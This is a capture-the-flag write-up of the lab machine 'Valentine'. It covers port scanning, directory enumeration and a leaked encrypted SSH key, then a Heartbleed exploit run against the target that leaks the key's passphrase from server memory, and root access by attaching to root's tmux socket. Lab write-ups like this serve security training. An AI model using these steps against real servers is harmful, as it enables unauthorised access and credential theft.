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Scanning

I’ve put Valentine’s IP in /etc/hosts:

10.10.10.79 valentine.htb

Running Nmap:

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
|_ssl-date: 2020-09-05T00:35:41+00:00; +1m58s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP Enumeration

Running gobuster lists these directories:

/icons/ (Status: 403)
/doc/ (Status: 403)
/cgi-bin/ (Status: 403)
/index/ (Status: 200)
/index.php (Status: 200)
/dev/ (Status: 200)
/encode/ (Status: 200)
/encode.php (Status: 200)
/decode/ (Status: 200)
/decode.php (Status: 200)
/server-status/ (Status: 403)

In /dev there’s a notes.txt:

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

We might have to somehow exploit the encoding-decoding directories.

There’s also a file called hype_key:

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Which I firmly believe is hex, so translating it:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
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OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
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aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
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pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
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l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

This seems to be an SSH private key. Trying it with SSH and user hype (as it was the file name):

SSH

It asks for a passphrase and we don’t have it yet, so let’s keep searching.

Looking at the nmap results there’s an HTTPS page. At this point we can try checking vulnerabities with Nmap:

nmap --script vuln valentine.htb

And it returns:

Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for valentine.htb (10.10.10.79)
Host is up (0.048s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
|_clamav-exec: ERROR: Script execution failed (use -d to debug" "" "border" >}}
80/tcp  open  http
|_clamav-exec: ERROR: Script execution failed (use -d to debug" "" "border" >}}
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_  /index/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug" "" "border" >}}
443/tcp open  https
|_clamav-exec: ERROR: Script execution failed (use -d to debug" "" "border" >}}
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_  /index/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug" "" "border" >}}
| ssl-ccs-injection: 
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|           
|     References:
|       http://www.cvedetails.com/cve/2014-0224
|       http://www.openssl.org/news/secadv_20140605.txt
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       http://www.openssl.org/news/secadv_20140407.txt 
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_      http://cvedetails.com/cve/2014-0160/
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.securityfocus.com/bid/70574
|_      https://www.openssl.org/~bodo/ssl-poodle.pdf
|_sslv2-drown: 

Nmap done: 1 IP address (1 host up) scanned in 61.40 seconds

Nmap results tells us HTTPS is not vulnerable to just one or two attacks, but three!

Especially and the most important: Heartbleed. It’s a vulnerability that can be used to read system memory to get passwords or some other information, and even eavesdrop on communications.

HeartBleed Explanation

Credits to xkcd.com for the Heartbleed Explanation

Exploiting Heartbleed

We can get the Heartbleed exploit from this gist.

And just by running:

python heartbleed.py 10.10.10.79

It throws:

##################################################################
Connecting to: 10.10.10.79:443, 1 times
Sending Client Hello for TLSv1.0
Received Server Hello for TLSv1.0

WARNING: 10.10.10.79:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
##################################################################

[email protected][...r....+..H...9...
....w.3....f...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#.......0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==.\.}B..W......N..F_................/...i..=...r

The text aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== is encoded in base64, decoded is heartbleedbelievethehype.

This seems to be the password for the SSH Private Key, so let’s verify it:

SSH Session

We are in!!

Privilege Escalation via Tmux session

Running linpeas.sh shows a rare command running (much like would do pspy):

Tmux Session

Here Root seems to be serving the Tmux session (-S parameter) via a Socket, to attach to it we just have to:

tmux -S /.devs/dev_sess

And rooted!